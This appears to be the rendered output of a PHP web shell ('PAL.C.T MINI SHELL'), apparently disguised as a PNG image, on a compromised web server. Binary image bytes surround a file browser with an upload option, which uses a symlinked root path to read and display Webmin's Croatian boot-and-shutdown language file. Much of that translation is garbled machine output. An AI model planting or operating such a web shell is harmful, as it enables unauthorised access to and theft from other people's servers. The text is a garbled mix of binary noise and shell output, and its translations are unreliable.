php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/init/lang/
upload
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/init/lang/hr.auto

index_title=Bootup i Shutdown
index_mode=Sustav dizanja : $1 
index_add=Izradite novu radnju pokretanja i isključivanja.
index_reboot=Ponovno podizanje sustava
index_rebootmsg=Kliknite ovaj gumb kako biste odmah ponovno pokrenuli sustav. Svi trenutno prijavljeni korisnici bit će isključeni i sve će se usluge ponovo pokrenuti.
index_shutdown=Sustav isključivanja
index_shutdownmsg=Kliknite ovaj gumb kako biste odmah isključili sustav. Sve će usluge biti zaustavljene, svi korisnici isključeni i sustav isključen (ako vaš hardver to podržava).
index_script=Skripta $1 navedena u nastavku pokreće se u trenutku pokretanja. Možete dodati vlastite naredbe radi ponovnog pokretanja demona ili poslužitelja prilikom ponovnog pokretanja sustava.
index_downscript=Slično tome, skripta $1 navedena dolje pokrenut će se u vrijeme isključivanja. Možete dodati vlastite naredbe da se demoni ili poslužitelji čisto zaustave kada je sustav isključen.
index_return=akcije pokretanja i isključivanja
index_action=Radnja
index_desc=Opis
index_boot=Pri čizmi?
index_levels=Započnite u vožnji
index_status=Započeli sada?
index_order=Narudžba
index_add_mac=Dodajte novu skriptu za pokretanje postupka pokretanja
index_provides=pruža
index_setting=postavljanje
index_script_mac=Skripta $1 navedena u nastavku pokreće se u trenutku pokretanja. Međutim, preporučuje se dodavanje vlastitih naredbi za pokretanje demona ili poslužitelja nakon dizanja sustava u direktorij pokretanja.
index_editconfig=Ručno uredite datoteku $1 
index_stop=Stop
index_start=Početak
index_restart=Ponovno pokretanje
index_rlchange=Promjena na razinu rada:
index_rlchangedesc=Kliknite ovaj gumb kako biste sustav prebacili s trenutne razine na odabranu. To će zaustaviti sve radnje na trenutnoj razini i tada će se pokrenuti sve radnje u novoj razini rada.
index_addboot=Start on Boot
index_delboot=Onemogući pri pokretanju
index_addboot_start=Započnite odmah i pri pokretanju
index_delboot_stop=Onemogućite sada i pri pokretanju
index_sname=Naziv radnje
index_sdesc=Opis
index_stype=Vrsta usluge
index_sstate=Trenutna država
index_sboot=Započeti pri pokretanju?
index_sstate4=Trčanje
index_sstate1=zaustavljen
index_sboot2=Da
index_sboot3=Ne
index_sboot4=Onemogućeno
index_rname=Naziv radnje
index_rdesc=Opis
index_rboot=Započeti pri pokretanju?
index_radd=Stvorite novu radnju.
index_unknown=Nepoznata
index_uname=Naziv usluge
index_udesc=Opis usluge
index_ucstatus=Status usluge
index_uboot=Započeti pri pokretanju?
index_ustatus=Sada trčite?
index_uadd=Stvorite novu uslugu upstart.
index_sadd=Stvorite novu sustavsku uslugu.
index_always=Stalno
index_ladd=Stvorite novi agent za pokretanje.
index_lname=Ime agenta

edit_title=Uredi radnju
create_title=Stvorite akciju
edit_ecannot=Nije vam dopušteno uređivanje akcija pokretanja
edit_egone=Akcija više ne postoji
edit_details=Pojedinosti o radnji
edit_name=Ime
edit_desc=Opis
edit_startmsg=Poruka za pokretanje
edit_stopmsg=Poruka o isključivanju
edit_start=Naredbe za pokretanje
edit_stop=Naredbe za isključivanje
edit_startcmd=Naredba za pokretanje
edit_stopcmd=Naredba za isključivanje
edit_statuscmd=Naredba o statusu
edit_script=Akcija skripta
edit_boot=Započeti u vrijeme dizanja sustava?
edit_badS=Budući da ova radnja nije stvorena pravilno, pokreće se samo u razini $1.
edit_badK=Budući da ova radnja nije stvorena pravilno, zaustavlja se samo u razini tekućine $1.
edit_fix=Kliknite ovdje kako biste omogućili ovu radnju ostalim nivoima
edit_levels=Rune za pokretanje i zaustavljanje
edit_rl=Razina $1 
edit_startat=Počnite od
edit_stopat=Zaustavi se
edit_startnow=Započni sada
edit_stopnow=Stani sada
edit_restartnow=Ponovno pokreni sada
edit_reloadnow2=Ponovo pročitajte Config File
edit_condrestartnow=Ponovo pokrenite ako je potrebno
edit_reloadnow=Učitaj odmah
edit_statusnow=Prikaži status
edit_return=radnja
edit_status=Započeli sada?
edit_unknown=Nepoznata

save_err=Spremanje radnje nije uspjelo
save_ecannot=Nije vam dopušteno uređivanje akcija pokretanja
save_ealready=Akcija nazvana "$1" već postoji
save_ewrite=Pisanje u $1 : $2 nije uspjelo
save_ename=Nedostaje ili nevažeće ime radnje
save_eclash=Radnja s istim nazivom već postoji
save_escript=Nije unešena nijedna skripta radnje
save_estartcmd=Nedostaje naredba za pokretanje

ss_ecannot=Nije vam dopušteno pokretati ili zaustavljati akcije pokretanja
ss_start=Pokrenite akciju
ss_stop=Zaustavite akciju
ss_restart=Ponovno pokrenite radnju
ss_reload=Akcija za ponovno učitavanje
ss_status=Status radnje
ss_exec=Izvršavanje $1 ..
ss_doingstart=Početna akcija $1.
ss_doingstop=Zaustavljanje akcije $1 ..
ss_doingstatus=Zahtjev za status radnje $1 ..

shutdown_ecannot=Nije vam dopušteno gašenje sustava
shutdown_title=Ugasiti
shutdown_rusure=Jeste li sigurni da želite isključiti sustav naredbom $1 ?
shutdown_ok=Sustav isključivanja
shutdown_exec=Isključivanje naredbom $1 ..

reboot_ecannot=Nije vam dopušteno ponovno pokretanje sustava
reboot_title=Ponovno podizanje sustava
reboot_rusure=Jeste li sigurni da želite ponovno pokrenuti sustav pomoću naredbe $1 ?
reboot_ok=Ponovno podizanje sustava
reboot_exec=Ponovno pokretanje sa naredbom $1 ..

acl_script=Može li urediti skriptu za pokretanje?
acl_actions=Mogu li pokretati, uređivati, stvarati i brisati akcije?
acl_runonly=Samo trči
acl_reboot=Može li ponovno pokrenuti sustav?
acl_shutdown=Može li zatvoriti sustav?

log_rename=Preimenovana radnja $1 do $2 
log_modify=Izmijenjeno djelovanje $1 
log_create=Stvorena radnja $1 
log_delete=Izbrisana radnja $1 
log_start=Započeta radnja $1 
log_stop=Zaustavljena akcija $1 
log_restart=Restartirana akcija $1 
log_condrestart=Uvjetno ponovno pokrenuta radnja $1 
log_reload=Ponovno učitana radnja $1 
log_status=Dohvaćen status radnje $1 
log_reboot=Ponovno pokrenut sustav
log_shutdown=Sustav isključivanja
log_local=Izmijenjena skripta za pokretanje
log_bootup=Izmijenjeno je djelovanje pokretanja za $1 
log_massstart=Započete radnje $1 
log_massstop=Zaustavljene radnje $1 
log_massrestart=Restartirane akcije $1 
log_massenable=Omogućene akcije $1 
log_massdisable=Onemogućene akcije $1 
log_telinit=Prebačeno na razinu tekućine $1 

edit_hostconfig_startup=Skripta $1 se pokreće u vrijeme dizanja sustava ako je ova radnja aktivna. Možete ga urediti u nastavku
edit_hostconfig_plist=Datoteka $1 postavlja određene parametre u odnosu na skriptu za pokretanje. Možete ga urediti u nastavku
edit_hostconfig_new=Stvorite novu radnju
edit_hostconfig_noquotes=Ne koristite navodnike ni u jednom polju osim u polju $1.
edit_hostconfig_startitems=Polje $1 ne bi smjelo početi s brojem ili podcrtavanjem, a prema dogovoru, svi abecedni znakovi trebaju biti velika slova. Polje $2 treba biti legalni naziv datoteke i ne smije sadržavati točku.
edit_hostconfig_actionname=Naziv radnje
edit_hostconfig_scriptname=Naziv skripte
edit_hostconfig_array=Polja $1, $2 i $3 su polja polja i mogu sadržavati više od jedne vrijednosti. Razdvojite više vrijednosti dvotočkom.
edit_hostconfig_further=Nakon stvaranja nove radnje pokretanja, bit ćete preusmjereni na stranicu na kojoj po potrebi možete ugađati početnu skriptu i popis parametara.
edit_hostconfig_hostconfig=Datoteka $1 kontrolira usluge i demone širom sustava koji se pokreću pri dizanju sustava. Možete ga urediti u nastavku
edit_hostconfig_title=Uredite Hostconfig

mass_enone=Nije odabrana nijedna radnja
mass_enone2=Nije odabrana nijedna usluga
mass_start=Pokretanje akcija
mass_restart=Ponovno pokretanje radnji
mass_stop=Zaustavljanje akcija
mass_ebroken=Slomljena radnja $1 ne može se omogućiti ili onemogućiti u vrijeme pokretanja
mass_enable=Omogućavanje radnje $1 u vrijeme pokretanja.
mass_disable=Onemogućavanje radnje $1 u vrijeme pokretanja.
mass_starting=Početna akcija $1.
mass_stopping=Zaustavljanje akcije $1 ..
mass_failed=.. neuspjeh!
mass_ok=.. gotovo.
mass_ustart=Pokretanje usluga
mass_urestart=Usluge ponovnog pokretanja
mass_ustop=Zaustavljanje usluga
mass_uenable=Omogućavanje usluge $1 u vrijeme pokretanja.
mass_udisable=Onemogućavanje usluge $1 u vrijeme pokretanja.
mass_ustarting=Pokretanje usluge $1.
mass_ustopping=Zaustavljanje usluge $1.
mass_urestarting=Ponovno pokretanje usluge $1 ..

change_err=Ne smijete mijenjati razine rada
change_title=Prebacite razinu rada
change_cmd=Prelazak na razinu tekućine $1 pomoću naredbe $2. To može potrajati neko vrijeme, a Webmin možda neće biti dostupan nakon prebacivanja.

mode_init=SysV init
mode_osx=MacOS
mode_local=Skripta s jednim pokretanjem
mode_win32=Windows usluge
mode_rc=FreeBSD RC skripte
mode_upstart=Laktaš
mode_systemd=Systemd
mode_launchd=LaunchD

upstart_title1=Stvorite uslugu nadogradnje
upstart_title2=Uređivanje usluge Pokretanje
upstart_egone=Usluga više ne postoji!
upstart_elegacy=Nije početna usluga!
upstart_header=Pojedinosti o nadogradnji usluge
upstart_name=Naziv usluge
upstart_desc=Opis usluge
upstart_prestart=Naredbe za pokretanje prije pokretanja poslužitelja <br> (neobavezno)
upstart_server=Program i parametri poslužitelja
upstart_fork=Poslužitelj odlazi u pozadinu?
upstart_conf=Konfiguracijska datoteka
upstart_boot=Započeti u vrijeme dizanja sustava?
upstart_status=Trenutni status
upstart_status0=Ne trčim
upstart_status1=Trčanje s PID $1 
upstart_err=Spremanje početne usluge nije uspjelo
upstart_econf=Nije unesen sadržaj konfiguracijske datoteke
upstart_ename=Nedostaje ili nevažeće ime usluge za pokretanje potraživanja
upstart_eclash=Usluga s istim nazivom već postoji
upstart_edesc=Nedostaje opis usluge
upstart_eserver=Nije unešena naredba poslužitelja
upstart_eserver2=Naredba poslužitelja ne postoji
upstart_eserver3=Može se unijeti samo jedna naredba poslužitelja
upstart_return=početna usluga

systemd_title1=Stvorite Systemd Service
systemd_title2=Uređivanje Systemd usluge
systemd_egone=Usluga više ne postoji!
systemd_elegacy=Nije sistemska usluga!
systemd_header=Pojedinosti o sustavnoj usluzi
systemd_name=Naziv usluge
systemd_file=Konfiguracijska datoteka
systemd_desc=Opis usluge
systemd_start=Naredbe za pokretanje pri pokretanju
systemd_stop=Naredbe za pokretanje na isključivanju
systemd_conf=Konfiguracija sustava
systemd_boot=Započeti u vrijeme dizanja sustava?
systemd_status=Trenutni status
systemd_status0=Ne trčim
systemd_status1=Trčanje s PID $1 
systemd_status2=Trčanje
systemd_status3=Nepoznata!
systemd_err=Spremanje sistemske usluge nije uspjelo
systemd_ename=Nedostaje ili neispravno traženje sistemskog naziva usluge
systemd_eclash=Usluga s istim nazivom već postoji
systemd_edesc=Nedostaje opis usluge
systemd_return=sistemska usluga
systemd_econf=Nije upisana konfiguracija sustava
systemd_estart=Nedostaju naredbe za pokretanje

launchd_title1=Stvorite pokretački agent
launchd_title2=Uređivanje pokretačkog agenta
launchd_egone=Agenta više nema!
launchd_header=Pojedinosti o pokretanju usluge
launchd_name=Ime agenta
launchd_file=Konfiguracijska datoteka
launchd_nofile=Nije pronađeno!
launchd_start=Naredba poslužitelja
launchd_conf=Pokretanje konfiguracije
launchd_boot=Započeti u vrijeme dizanja sustava?
launchd_status=Trenutni status
launchd_status0=Ne trčim
launchd_status1=Trčanje s PID $1 
launchd_status2=Trčanje
launchd_err=Spremanje pokretačkog agenta nije uspjelo
launchd_ename=Nedostaje ili neispravno ime pokretača pokretača pretraživanja
launchd_eclash=Agent s istim imenom već postoji
launchd_return=pokretač
launchd_econf=Nije pokrenuta konfiguracija pokretanja
launchd_estart=Nedostaje naredba poslužitelja

syslog_journalctl=Zapisnici sustava SystemD
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`